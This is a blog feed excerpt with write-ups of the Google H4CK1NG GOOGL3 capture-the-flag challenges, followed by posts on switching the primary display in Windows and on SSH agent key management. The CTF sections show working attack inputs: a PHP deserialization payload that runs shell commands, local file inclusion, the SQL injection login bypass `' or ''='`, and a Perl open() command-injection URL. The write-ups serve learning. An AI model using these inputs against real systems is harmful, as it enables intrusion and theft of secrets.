BuildID[sha1]=0c23340ab6c6d0c158f0ee356a1deb0253d8cf4c, for GNU/Linux 3.2.0, not stripped</code></pre><p>Looking at some of the debug symbols in the binary strings, I spotted that the <code>time</code> library is used. This led to my first suspicion that this might be some time-based encryption. At this point, I saw no other way than reverse engineer the executable with static analysis - which I have never done before.</p><p>So I downloaded <a target="_blank" href="https://ghidra-sre.org/">Ghidra</a>, which is a software suite developed by the NSA to reverse engineer software. The static analysis showed that the executable always immediately exists. But there is more code - there is just no way to execute it (legitimately). Looking at that code revealed that they actually generate time-based passwords (<a target="_blank" href="https://de.wikipedia.org/wiki/Time-based_One-time_Password_Algorithmus">TOTP</a>) using SHA-1 and print them.</p><p>Now there are two options:</p><ol><li><p>Reverse engineer the TOPT algorithm and implement it myself</p></li><li><p>Somehow get the <code>print()</code> function to execute.</p></li></ol><p>The second option seemed way more interesting to me. Since the binary contained symbols, we should be able to attach a debugger to the process. So I read into how <code>gdb</code> is used and run the following commands:</p><pre><code class="lang-plaintext">break main # we want to set a breakpoint in the main method before the software existsrun # run the program until we hit our breakpointj print # continue to execute the program in the print function</code></pre><p>That revealed a URL together with one of the words from the dictionary:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665305051345/E-mEPJpg_.png" alt="The GDB output" class="image--center mx-auto" /></p><p>Visiting this URL right after running the program generated it, shows this page:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665305138806/gYd36AE9X.png" alt="Visiting the valid URL" class="image--center mx-auto" /></p><p>Clicking the button that is displayed, reveals the flag. If you wait too long, the page will just show the message about the princess again.</p><h1 id="heading-challenge-03-chess-20">Challenge 03: Chess 2.0</h1><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1665305331676/uauhmB7R3.png" alt="The chessboard of the second challenge" class="image--center mx-auto" /></p><p><strong>Hints:</strong></p><ul><li><p>Look at the PHP source code</p></li><li><p>Magic methods are interesting</p></li></ul><p>Another chess challenge - exciting! This time, however, there is no admin panel. Also looking at the diff between the old and new HTML file, we can see that this time the flag is not printed upon winning the game:</p><pre><code class="lang-html">echo "<span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Winning against me won't help anymore. You need to get the flag from my envs." . "<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>";</code></pre><p>Also, the <code>load_board.php</code> file was changed: It now only allows loading files with the extension <code>.php</code>. So we cannot read the environment variable from <code>/proc/self/environ</code>.</p><p>Luckily the exploit from the chess challenge from episode 1 to get the web app's source code still works. Looking at the diff again, the code is the same as in challenge 01. While solving challenge 01, I already suspected that you might be able to modify how the stockfish (the chess engine, see <a target="_blank" href="https://blog.lohr.dev/hacking-google-episode-0">my post about the first episode</a> for more details) binary is called. Would there be a way to exploit this?</p><p>After going through the PHP source code a dozen times, there is one piece of code I couldn't make sense of. The <code>__wakeup()</code> method of the <code>class Stockfish</code> that contains the whole code which talks to the chess engine process:</p><pre><code class="lang-PHP">    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__wakeup</span>(<span class="hljs-params"></span>)    </span>{        <span class="hljs-keyword">$this</span>-&gt;process = proc_open(<span class="hljs-keyword">$this</span>-&gt;binary, <span class="hljs-keyword">$this</span>-&gt;descriptorspec, <span class="hljs-keyword">$this</span>-&gt;pipes, <span class="hljs-keyword">$this</span>-&gt;cwd, <span class="hljs-literal">null</span>, <span class="hljs-keyword">$this</span>-&gt;other_options) ;        <span class="hljs-keyword">echo</span> <span class="hljs-string">'&lt;!--'</span>.<span class="hljs-string">'wakeupcalled'</span>.fgets(<span class="hljs-keyword">$this</span>-&gt;pipes[<span class="hljs-number">1</span>], <span class="hljs-number">4096</span>).<span class="hljs-string">'--&gt;'</span>;    }</code></pre><p>Reading the PHP docs about <a target="_blank" href="https://www.php.net/manual/en/language.oop5.magic.php">magic methods</a> reveals that <code>__sleep()</code> and <code>__wakeup()</code> are used to run code before serialization and after deserialization. The sleep method can be used to clean up and the wakeup method to reestablish database connections. Or in our case, it opens the stockfish binary to re-establish a connection with the chess engine. The weird thing is, that it also echos the stdout of the process. Maybe that was used for debugging?</p><p>Ok fine, we now have understood all the backend code and the wakeup thing is legit - and now? Well, now I was stuck. After some more spending some more hours looking at the code, I spotted another suspicious piece of code. Rember where I tried to teleport the chess pieces using the <code>move_end</code> method in episode 1?</p><p>Turns out there is actually a vulnerability there:</p><pre><code class="lang-PHP">$movei = unserialize(base64_decode($_GET[<span class="hljs-string">'move_end'</span>]));</code></pre><p>This code, used for evaluating where a chess piece was dragged to, deserializes WHATEVER we pass to it. Looking at the <a target="_blank" href="https://www.php.net/manual/en/function.unserialize.php#data">docs for unserialize()</a>, they explicitly state:</p><blockquote><p>If the variable being unserialized is an object, after successfully reconstructing the object PHP will automatically attempt to call the <code>__unserialize()</code> or <code>__wakeup()</code> methods (if one exists).</p></blockquote><p>Oh damn. This means we can pass a PHP class to it that the current environment recognizes, set its variables and have the <code>__wakeup()</code> method execute. And in this case, wakeup() actually executes a process and returns the stdout to us.</p><p>So, I copied the code and serialized an instance of the <code>stockfish</code> class which contains the <code>env</code> command for the variable that normally would hold the path to the stockfish binary. This is then base64 encoded and passed to the <code>move_end</code> parameter, like so:</p><pre><code class="lang-plaintext">https://hackerchess2-web.h4ck.ctfcompetition.com/?move_end=Tzo5OiJTdG9ja2Zpc2giOj...</code></pre><p>And voila, we now see ... one environment variable? Turns out only the first line of the command output is written to the HTML. So the final step was to transform the output of the <code>env</code> command to one line: <code>env | xargs</code>.</p><p>Now we can see a list of all environment variables as comments in the HTML. And there is the flag:</p><pre><code class="lang-HTML"><span class="hljs-comment">&lt;!--wakeupcalledGATEWAY_INTERFACE=CGI/1.1 CONTENT_TYPE=multipart/form-data; boundary=--------------------------355823505429505671295364 SHLVL=1 REMOTE_ADDR=10.119.223.201 QUERY_STRING=move_end=Tzo5OiJTdG9 [...]SERVER_ADDR=10.120.3.109 REDIRECT_FLAG2=https://h4ck1ng.google/solve/rc[...]--&gt;</span></code></pre><h1 id="heading-conclusion">Conclusion</h1><p>Another fun challenge! This one was definitely harder than the previous one - whose write-up you can read <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">over here</a>. Or continue with episode 3 and read my write-up for the next episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">over here</a>.</p><p>Episode Overview:</p><ul><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></p></li><li><p><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></p></li></ul>]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-1</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-1</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Wed, 02 Nov 2022 15:17:42 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1665380976583/NtJbepulw.png</cover_image></item><item><title><![CDATA[Hacking Google CTF - Episode 0]]></title><description><![CDATA[<p>Yesterday, I found out about the <a target="_blank" href="https://h4ck1ng.google">H4CK1NG GOOGL3</a> security CTF on <a target="_blank" href="https://news.ycombinator.com/item?id=33041733">Hackernews</a>. It is a <a target="_blank" href="https://blog.lohr.dev/gamification">gamified</a> set of hacking challenges. In each challenge, you are presented with a piece of software or system that can be used to access some secret "flag" in its closed infrastructure.</p><p>I had never participated in a CTF (Capture The Flag) before but this one seemed like a good opportunity since it did not have a deadline and the challenges are more about typical security issues than finding some exploits in very involved algorithms. That being said, I am by no means a security expert. However, I always found this topic very interesting and once found a severe but interesting security flaw in a production web application (I might publish a story about this eventually).</p><p>This blog post outlines how I solved the challenges together with a friend. If you haven't solved them yet for yourselves, I would not recommend reading the whole article - however, I will provide some more hints at the beginning of each chapter. If you don't have the time to try your luck in solving these challenges yourself, you might find this article interesting. I am not sure whether I find the time (and have the skills) to solve all challenges, but after 6 hours I was able to finish episode 0, which contains the two challenges presented in this article.</p><h1 id="heading-challenge-01-hacker-chess">Challenge 01: Hacker Chess</h1><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664734020746/HyXxn6vga.png" alt="The hacker chess website" class="image--center mx-auto" /></p><blockquote><p>Hints:</p><ul><li>You don't have to play chess very well (I don't)</li><li>Don't get distracted</li><li>Level the playing field</li></ul></blockquote><p>The first challenge is presented as a <a target="_blank" href="https://hackerchess-web.h4ck.ctfcompetition.com">website</a> where one can play chess against some AI. The first thing to catch my eye was the "Master Login" button in the lower right corner that jumps into the eye. Could this be the classic SQL injection scenario?</p><p>But let's first have a look at the chess game itself: At the beginning, the game plays like normal, but at move seven, something weird happens:</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664734647689/HL3ZfQvzX.png" alt="The chess AI cheats at the game" class="image--center mx-auto" /></p><p>All enemy pawns somehow became queens - the AI is cheating! As if I had a chance against a chess AI anyways... At this point, it became quite obvious that I was not able to beat the opponent without some help.</p><p>Let's hit "F12" and inspect the HTML source code of this website. I made the following notes:</p><ul><li>The chessboard is made of an HTML table... 🙃</li><li>Clicking on the table cells calls the current page with the parameter <code>?move_start=&lt;clicked cell&gt;</code><ul><li>E.g. clicking on square E3 will open the page <code>...com/index.php?move_start=e3</code></li><li>This page then highlights the allowed moves and when clicking another square will something like <code>...com/index.php?move_end=YToyOntpOjA7czoyOiJkMiI7aToxO3M6MjoiZDQiO30</code></li></ul></li><li>There is a difficulty switch... Options are "Impossible", "Unbeatable" and "Invincible"<ul><li>Not sure which is the easiest, but all settings seem to result in pretty good moves</li></ul></li><li>The game loads automatically, but there is also a "Start" button<ul><li>This button executes the <code>load_baseboard()</code> JavaScript function</li><li>This function makes a request to <code>load_board.php</code> passing a filename(<code>baseboard.fen</code>) in the request and reloads the page</li></ul></li></ul><h2 id="heading-chess-piece-teleportation">Chess Piece Teleportation</h2><p>So many possibilities!First I tried the obvious: Telling the backend to teleport my chess pieces so that I can checkmate the enemy! For that, I needed to understand how the <code>?move_end=...</code> parameter works.</p><p>The value of the <code>move_end</code> parameter looked suspiciously like a base64 encoded string, since it only contained characters and numbers and is often used in URL parameters. Decoding the value results in <code>a:2:{i:0;s:2:"d2";i:1;s:2:"d4";}</code>, which contained my move (from square D2 to D4). Since it does not look like JSON, my initial guess was that this is some sort of array data structure. Later, I found out that this guess was correct and this is apparently how PHP serializes its data structures. </p><p>I tried changing the values in that string to teleport my chess pieces, but the chess app detected that as an illegal move.</p><h2 id="heading-setting-a-custom-starting-board-or-not">Setting a custom starting board... or not?</h2><p>Remember the <code>load_board.php</code> endpoint? After some tinkering, we found that you can actually call this one by setting the <code>file</code> value to <code>baseboard.fen</code> at any time to generate a new PHP session. This PHP session is identified by a <code>PHPSESSID</code> cookie! My friend also recognized the <code>.fen</code> extension as a file format that is used to specify chess boards.</p><p>So what if we could load a different <code>.fen</code> file where we are a few moves away from winning the game? We somehow have to inject our custom file into the filesystem somehow... Maybe you can guess the solution? We could not figure that one out just yet! But we discovered something even better: A <a target="_blank" href="https://brightsec.com/blog/local-file-inclusion-lfi/">LFI</a> vulnerability! When calling the <code>load_board.php</code> endpoint with a <code>GET</code> request, the endpoint actually returns the loaded data in its body. But we could also specify <code>index.php</code> as <code>file</code> (or any other file in the local file system) which would print the raw source code of the <code>index.php</code> file!</p><p>This revealed a couple of interesting things:</p><ul><li>The AI cheating can be turned off by admins</li><li>The difficulty setting is only a distraction and does not do anything in the backend</li><li>The script uses the <a target="_blank" href="https://github.com/p-chess/chess">chess</a> PHP library together with the <a target="_blank" href="https://stockfishchess.org/">stockfish</a> chess engine</li><li>The flag is stored in an environment variable and revealed as soon as the player wins the game: <code>echo "&lt;h1&gt;ZOMG How did you defeat my AI :(. You definitely cheated. Here's your flag: ". getenv('REDIRECT_FLAG') . "&lt;/h1&gt;";</code></li></ul><p>And yes, we could now also print the source code for the <code>admin.php</code> file:</p><ul><li>The login is susceptible to SQL injection</li><li>Admins can turn off cheating and change the thinking time of the AI</li></ul><h2 id="heading-hacking-the-master-login">Hacking the Master Login</h2><p>We now knew that we did not have to hack the admin page, since you only have to win the game in order to obtain the flag. However, it seemed like turning off cheating and changing the thinking time can help us win the game.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664735803857/PSDckTqoQ.png" alt="the login form" class="image--center mx-auto" /></p><p>The master login on the <code>admin.php</code> page was a simple username and password login page. From our previous exploit, we now know that the login is vulnerable to SQL injection attacks:</p><pre><code class="lang-PHP">sprintf(<span class="hljs-string">"SELECT username FROM chess_ctf_admins WHERE username='%s' AND password='%s'"</span>, $_POST[<span class="hljs-string">'username'</span>], $_POST[<span class="hljs-string">'password'</span>]);</code></pre><p>After fiddling around with some attack attempts we were able to log in by entering <code>' or ''='</code> as username and password.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664780786394/H8OW19UBR.png" alt="the admin interface" class="image--center mx-auto" /></p><p>While turning off cheating helped quite a bit, the thinking time parameter did not seem to do much for us. According to the documentation of the stockfish engine, setting it to <code>-1</code> is supposed to turn off thinking altogether and just use the next best move. While this might actually be the case, I was still too bad at chess to beat the AI (however, I heard from others that without the cheats they were able to win the game and get the flag).</p><h2 id="heading-custom-starting-boards-this-time-for-real">Custom starting boards... This time for real!</h2><p>After some thinking, a really funny thought came to my mind. What if the file loading functionality of the <code>load_board.php</code> script actually supports loading from URLs? Might be worth a shot. And indeed, looking at the source code we see this:</p><pre><code class="lang-php"><span class="hljs-keyword">if</span> (<span class="hljs-keyword">isset</span>($_POST[<span class="hljs-string">'filename'</span>])) {  $fen = trim(file_get_contents($_POST[<span class="hljs-string">'filename'</span>]));  <span class="hljs-comment"># <span class="hljs-doctag">XXX:</span> Debug remove this</span>  <span class="hljs-keyword">echo</span> <span class="hljs-string">'Loading Fen: '</span>. $fen;}</code></pre><p>Thanks to Mr. XXX, who forgot to remove the debug code, we were able to see the source code of this function in the first place. But now, we can actually validate that this script uses <a target="_blank" href="https://www.php.net/manual/en/function.file-get-contents.php">file_get_contents</a>, which supports loading from URLs.</p><p>So to actually attempt this hack, we used <a target="_blank" href="http://www.netreal.de/Forsyth-Edwards-Notation/index.php">this tool</a> to build our own <code>.fen</code> file. This was then uploaded to an anonymous <a target="_blank" href="https://pastebin.com/">pastebin</a> and put into the <code>filename</code> parameter. Now by calling this script with the aforementioned parameters, we initialize a new session. When we now load the <code>index.php</code> file with the session cookie from <code>load_board.php</code> we are presented with our custom board!</p><p>Interestingly we weren't able to beat the AI: As soon as we set the opponent "mate" (so that his king cannot move anymore), the AI didn't react anymore but we also didn't get any winning message. Turns out, I didn't quite remember what a checkmate was. Luckily the chess PHP library is pretty well written and <a target="_blank" href="https://github.com/p-chess/chess/blob/ed2b5f9ca6bab25182b2cdf1dfc3a16d28861bab/src/Chess.php#L673">explains the conditions</a> very well:</p><pre><code class="lang-PHP">    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">inCheck</span>(<span class="hljs-params"></span>): <span class="hljs-title">bool</span>    </span>{        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;kingAttacked(<span class="hljs-keyword">$this</span>-&gt;turn);    }    <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">inCheckmate</span>(<span class="hljs-params"></span>): <span class="hljs-title">bool</span>    </span>{        <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>-&gt;inCheck() &amp;&amp; \count(<span class="hljs-keyword">$this</span>-&gt;generateMoves()) === <span class="hljs-number">0</span>;    }</code></pre><p>I actually set the opponent in a stalemate, which is not handled in the code. After adding additional pieces to our starting board so that we are attacking the opponent's king, the winning message containing the flag (a URL) popped up!</p><p>Later we discovered that we just could have used the <code>load_board.php</code> script to extract the flag from the <code>/proc/self/environ</code> file.</p><h1 id="heading-challenge-02-aurora">Challenge 02: Aurora</h1><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664782182863/RBD17x05oL.png" alt="the search engine" class="image--center mx-auto" /></p><blockquote><p>Hints:</p><ul><li>Look at the code</li><li>You only need one file</li></ul></blockquote><p>The second challenge of episode 00 presents <a target="_blank" href="https://aurora-web.h4ck.ctfcompetition.com/">a search engine</a> that can be used to see the lines of several pre-determined logfiles that contain keywords (consisting of at least four characters).</p><p>A quick look into the HTML source code reveals a JavaScript function that performs GET requests in the form of: <code>https://aurora-web.h4ck.ctfcompetition.com/?file={filename}&amp;term={term}</code>.</p><p>An interesting comment in the last line of that file also catches my eye: <code>&lt;!-- /src.txt --&gt;</code>. This leads us to the source code of the backend, which is written in Perl: https://aurora-web.h4ck.ctfcompetition.com/src.txt</p><p>I have zero experience with Perl, so let's hope that we do not have to find an exploit in the code itself! My first assumption (and hope) was that I could exploit the search tool to find some information about the system. I even wrote a small script to search important keywords through all files. But after spending way too much time slowly revealing the contents of the files, I gave up (and should have sooner).</p><p>Another friend of mine actually gave me a hint: </p><blockquote><p>The Perl <code>open()</code> function is very powerful.</p></blockquote><p>Turns out the <a target="_blank" href="https://perldoc.perl.org/functions/open">open</a> function can be used to execute Linux commands! Oh, dear a <a target="_blank" href="https://www.bugcrowd.com/glossary/remote-code-execution-rce/">RCE</a> challenge!</p><p>With that info, I now could run any command on that system (well not quite, Google designed the challenge with care, and only some stuff actually works)! So let's have a look at the file system with <code>ls</code>:</p><p>We still need to make sure that the response contains four characters that contain our search term. This is easy: We just echo a string, which we then search for: <code>echo owned: $(ls)</code>.</p><p>Now to execute it in the <code>open()</code> command we need to wrap it in some Perl syntax: <code>; echo owned: $(ls /) |</code>. After encoding this with the JavaScript <code>escape()</code> function, we are ready to go! The get request looks like this:</p><pre><code>GET https:<span class="hljs-comment">//aurora-web.h4ck.ctfcompetition.com/?file=%3B%20echo%20owned%3A%20%24%28ls%20/%29%20%7C&amp;term=owned</span></code></pre><p>Resulting in:</p><pre><code>owned: bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr <span class="hljs-keyword">var</span> web-apps</code></pre><p>Wait a minute! <code>/flag</code> is not typically found on a Linux file system! This flag file contains a URL that leads to the hacking challenge's website and marks the challenge as completed.</p><h1 id="heading-conclusion">Conclusion</h1><p>This was a very fun challenge! It's well-designed - with a lot of distractions and hints. But this is only the first episode of five, containing three challenges each. You can read my write-up for the next episode <a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">over here</a>.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1664734380942/wa3SS0bXi.png" alt="image.png" class="image--center mx-auto" /></p><p>Episode Overview:</p><ul><li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-0">Episode 0</a></li><li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-1">Episode 1</a></li><li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-2">Episode 2</a></li><li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-3">Episode 3</a></li><li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-4">Episode 4</a></li><li><a target="_blank" href="https://blog.lohr.dev/hacking-google-ctf-episode-5">Episode 5</a></li></ul>]]></description><link>https://blog.lohr.dev/hacking-google-ctf-episode-0</link><guid isPermaLink="true">https://blog.lohr.dev/hacking-google-ctf-episode-0</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 28 Oct 2022 08:55:50 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/upload/v1665380991049/a7jILX7jy.png</cover_image></item><item><title><![CDATA[Changing the primary display on Windows by code is easy... right?]]></title><description><![CDATA[<p>I have this issue where Windows is sometimes randomly changing my primary display after a system restart. So I wanted to create a simple command-line application that would allow me to change the display settings on system startup - should be easy, right 🤔?</p><p>There are great tools like <a target="_blank" href="https://www.nirsoft.net/utils/multi_monitor_tool.html">MultiMonitorTool</a> that already provide this functionality, but they come with a lot of UI and utilities, that I don't need - I want a lightweight tool that I can include in my <a target="_blank" href="https://blog.lohr.dev/automated-windows-setup">automated Windows setup</a>.</p><p>I did some research and found various blog articles and forum entries about how to change the primary display. They (e.g. <a target="_blank" href="https://www.asawicki.info/news_1637_how_to_change_display_mode_using_winapi">here</a> and <a target="_blank" href="https://www.codeproject.com/Articles/38903/Set-Primary-Display-ChangeDisplaySettingsEx">here</a>) suggest to use the <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-changedisplaysettingsexw">ChangeDisplaySettingsEx</a> call to the user API (<code>winuser.h</code>).</p><p>After some testing, I just couldn't get it to work even though it's supposed to be one simple call to the winuser library. So I used <a target="_blank" href="http://www.rohitab.com/apimonitor">API Monitor</a> to see what API calls MultiMonitorTool makes. There are more than 50 calls to the winuser APIs alone. But I eventually found the <code>ChangeDisplaySettingsEx</code> call and tried to replicate its content exactly (even byte by byte) - still no success.</p><p>After some more research and having a look at random source code snippets from GitHub, I finally found out how to change the primary monitor properly - and it's way more complicated than I could have ever imagined.</p><p>So before diving into the details - here it is: <a target="_blank" href="https://github.com/michidk/displayz">displays</a> - a lightweight CLI tool and Rust library to change display properties like primary display, resolution and orientation. I developed the application in Rust using the <a target="_blank" href="https://crates.io/crates/WinSafe">winsafe crate</a>, which basically creates a safe wrapper around the Windows API. However, I had to contribute various changes to that crate in order to implement the following API calls.</p><p>I am by no means an expert with regard to the Windows API. There are probably other calls that work as well and simplify some things. But I wanted to keep the tool generic so that it can be used to change the orientation, resolution, primary etc of any amount of monitors connected. So let's get started:</p><p>First, you have to find out the identifier of the display you want to make the new primary. In order to do that, you have to call <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaydevicesw">EnumDisplayDevices</a> multiple times with an increasing counter as a parameter in a loop. Stop looping as soon as a call returns an error.</p><p>After that, you can call <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaysettingsw">EnumDisplaySettings</a> (or the <code>Ex</code> version) by passing the identifier to retrieve the so-called <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-devmodew">DEVMODE structure</a>. This struct contains information about the display, like position, which is required for the following calls.</p><p>Now we are finally ready to call <code>ChangeDisplaySettingsEx</code>, right? Turns out you need to call this for every display that is connected and active (I will elaborate on the reason for this later), which means you also gotta call <code>EnumDisplaySettings</code> for every monitor. Finally, we can execute the program... And nothing happens. </p><p>Turns out you have to call <code>ChangeDisplaySettingsEx</code> one more time while passing NULL to every parameter, in order to actually "commit" the changes (the monitor will flicker and apply the new properties afterwards).</p><p>MultiMonitorTool does it the same way (other than it issues some additional calls, that are not important for this) - so did we solve the problem? Nope, still doesn't work 😐. After comparing the parameters of other's tools' calls as well as mine', I noticed that the position properties of the <code>ChangeDisplaySettingsEx</code> call are different.</p><p>And here comes the weird part: The values change depending on which monitor I set as primary. So there is clearly some magic happening, that calculates new position values. This seems to be the difference between the other's approach and my broken one.</p><p>Finally, I found a hint in some Chinese codebase that hinted at <a target="_blank" href="https://docs.microsoft.com/en-us/windows/win32/gdi/the-virtual-screen">the virtual screen model</a> that Windows uses. Turns out that the primary display also defines the origin of the coordinate system that the other monitors use when specifying the position. So instead of just passing the position from the <code>EnumDisplaySettings</code> call, we need to recalculate it accordingly for each active display. To figure that out took me waaay to long - I wish Microsoft had some information about this in their documentation.</p><p>Implementing this is not hard: The new primary display always is located at position (0, 0). The other ones should be moved by the negative position of the old primary display to align them to the new origin:</p><pre><code><span class="hljs-attr">new_display_position</span> = -old_primary_position + old_display_position<span class="hljs-comment">;</span></code></pre><p>And voila - it works just fine now. </p><p> 🙃</p><p>Feel free to check out the <a target="_blank" href="https://github.com/michidk/displayz/">code on GitHub</a> or get the tool from <a target="_blank" href="https://crates.io/crates/displayz">crates.io</a> or <a target="_blank" href="https://community.chocolatey.org/packages/displayz">Chocolatey</a>.</p><p>Edit: Apparently there is a new API that simplifies this process (<a target="_blank" href="https://github.com/MicrosoftDocs/windows-driver-docs/blob/staging/windows-driver-docs-pr/display/scaling-the-desktop-image.md">docs</a>)</p>]]></description><link>https://blog.lohr.dev/primary-display-windows</link><guid isPermaLink="true">https://blog.lohr.dev/primary-display-windows</guid><dc:creator><![CDATA[Michael Lohr]]></dc:creator><pubDate>Fri, 10 Jun 2022 13:42:35 GMT</pubDate><cover_image>https://cdn.hashnode.com/res/hashnode/image/unsplash/DuHKoV44prg/upload/v1653925966722/Hj_3zBSM-.jpeg</cover_image></item><item><title><![CDATA[The struggle with SSH key management under Linux]]></title><description><![CDATA[<p>When using tools like <code>git</code>, <code>ssh</code> etc. from the command line, reentering the passphrases of your keys can become very tedious rather quickly. This is where key management comes into play: Basically, you want to unlock your key once and keep it ready in your session for the tools to use it until the point where a timeout or system restart occurs.</p><blockquote><p>I always just used some zsh ssh-agent plugin or had  <code>eval ssh-agent</code> in my <code>.bashrc</code>, totally unaware of the fact that this is a very suboptimal solution...</p></blockquote><h1 id="heading-ssh-keys">SSH keys</h1><p>When connecting to a server using SSH or pushing your changes to a git server, you have to authenticate yourself using an SSH key. Git also allows HTTP authentication using a password, <a target="_blank" href="https://www.venafi.com/education-center/ssh/why-is-ssh-security-important">but you definitely should use  SSH</a>.  SSH keys also should have a non-empty <a target="_blank" href="https://www.ssh.com/academy/ssh/passphrase">passphrase</a> as an additional layer of security. If somebody steals your key (the file on your hard drive), they won't be able to use it without your passphrase.</p><p>You also might want to digitally sign messages and git commits with GPG, which also requires a password-protected key. Now, when actually signing a commit or connecting to a remote server using SSH, you have to enter the passphrase to your key. This is annoying if you have a long secure passphrase and use that very often.</p><h1 id="heading-ssh-agent">ssh-agent</h1><p><a target="_blank" href="https://www.ssh.com/academy/ssh/agent">ssh-agent</a> solves this problem: It creates a <a target="_blank" href="https://unix.stackexchange.com/questions/16311/what-is-a-socket">Linux socket</a> that offers your ssh client access to your keys. It is started with the command <code>ssh-agent</code>, which returns a path to the socket:<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1645975825902/4G0ETQdVg.png" alt="`ssh-agent` showing the path to the socket" />After adding this path to the <a target="_blank" href="https://linuxize.com/post/how-to-set-and-list-environment-variables-in-linux/">environment variables</a> you can use <code>ssh-add &lt;path of your ssh key&gt;</code> to add your SSH key to the "cache" (you can list your added SSL keys with <code>ssh-add -l</code>).  </p><p><a target="_blank" href="https://docs.github.com/en/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases#auto-launching-ssh-agent-on-git-for-windows">Most instructions</a> online, will tell you to add something like <code>eval "$(ssh-agent -s)"</code> to your <code>.bashrc</code> file or similar. You might have already noticed that executing <code>ssh-agent</code> will give you a new socket every time you execute that command. Meaning with every shell session you now start, you will spawn a new <code>ssh-agent</code>:<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1645979641207/xDyR8kvXL.png" alt="Commandline output of `ps aux | grep ssh-agent` showing multiple instances of the `ssh-agent`" />You will also have to enter your passphrase once per session. There has to be a better way, right? Right?!</p><p>As <a target="_blank" href="https://news.ycombinator.com/item?id=30538109">ysh7</a> pointed out, it is also possible to set a custom socket path using the flag <code>-a bind_address</code> and then set the environment variable <code>SSH_AUTH_SOCK</code> to that same value. <code>ssh-agent</code> can then be started as systemd service as described <a target="_blank" href="https://unix.stackexchange.com/questions/339840/how-to-start-and-use-ssh-agent-as-systemd-service">here</a>.</p><h1 id="heading-keychain-ssh-find-agent-zsh-ssh-agent-bash-scripts">keychain, ssh-find-agent, zsh ssh-agent, bash scripts...</h1><p>Jon Cairns wrote a <a target="_blank" href="http://blog.joncairns.com/2013/12/understanding-ssh-agent-and-ssh-add/">similar article</a> about this problem and presented a solution: A script that tries to find and reuse existing <code>ssh-agents</code>. There are multiple scripts with similar approaches all written in bash: <a target="_blank" href="https://github.com/wwalker/ssh-find-agent">ssh_find_agent</a>, <a target="_blank" href="https://github.com/bobsoppe/zsh-ssh-agent/blob/master/ssh-agent.zsh">zsh-ssh-agent</a>, and the most popular one: <a target="_blank" href="https://github.com/funtoo/keychain">keychain</a>. (And later, I also discovered <a target="_blank" href="https://github.com/vodik/envoy">envoy</a>). But being bash scripts, they are hard to read, not really fast, and make debugging a hell. I used <code>keychain</code> successfully until I encountered a problem that I wasn't able to understand. Also, those tools depend heavily on <code>ssh-agent</code> and <code>ssh-add</code> instead of using the socket directly.</p><blockquote><p>I was ready to implement something similar to <code>keychain</code> in Rust</p></blockquote><p>I then actually sat down and implemented a prototype of my SSH/GPG agent manager in Rust, which forced me to really understand the tooling around SSH keys. But there was a problem I could not solve: Every time I restarted my environment (in my case <a target="_blank" href="https://docs.microsoft.com/en-us/windows/wsl/about">WSL</a>), I had to reenter all my passphrases to all the keys even if I wouldn't need them.</p><h1 id="heading-gpg-agent-to-the-rescue">gpg-agent to the rescue</h1><p>After some reading through the confusing docs of different (outdated) versions of <code>gpg-agent</code> (yes, not <code>ssh-agent</code>), I finally found a working solution: Apparently <code>gpg-agent</code> uses its own socket and works way smarter than <code>ssh-agent</code>.  Luckily <code>gpg-agent</code> has support to also manage your ssh keys (and, of course, also manages your gpg keys)!</p><blockquote><p>I don't fully understand the design decision behind ssh-agent, which prints fairly essential information out as executable code and doesn't update the 